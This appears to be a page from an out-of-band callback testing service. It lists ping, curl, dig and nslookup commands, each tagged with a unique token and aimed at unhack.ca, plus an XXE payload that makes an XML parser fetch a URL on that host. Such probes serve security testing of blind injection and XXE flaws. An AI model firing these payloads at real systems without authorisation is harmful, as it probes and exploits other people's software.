$ ping -c1 -p 001259efbf58bdca7f1f9ffed0cc2c00 unhack.ca
 
$ curl http://unhack.ca/p/1259efbf58bdca7f1f9ffed0cc2c
 
$ dig 1259efbf58bdca7f1f9ffed0cc2c @unhack.ca
 
$ dig 1259efbf58bdca7f1f9ffed0cc2c.ns.unhack.ca
 
C:\> nslookup 1259efbf58bdca7f1f9ffed0cc2c unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1259efbf58bdca7f1f9ffed0cc2c">]>
    <foo>&xxe;</foo>
Waiting for ping...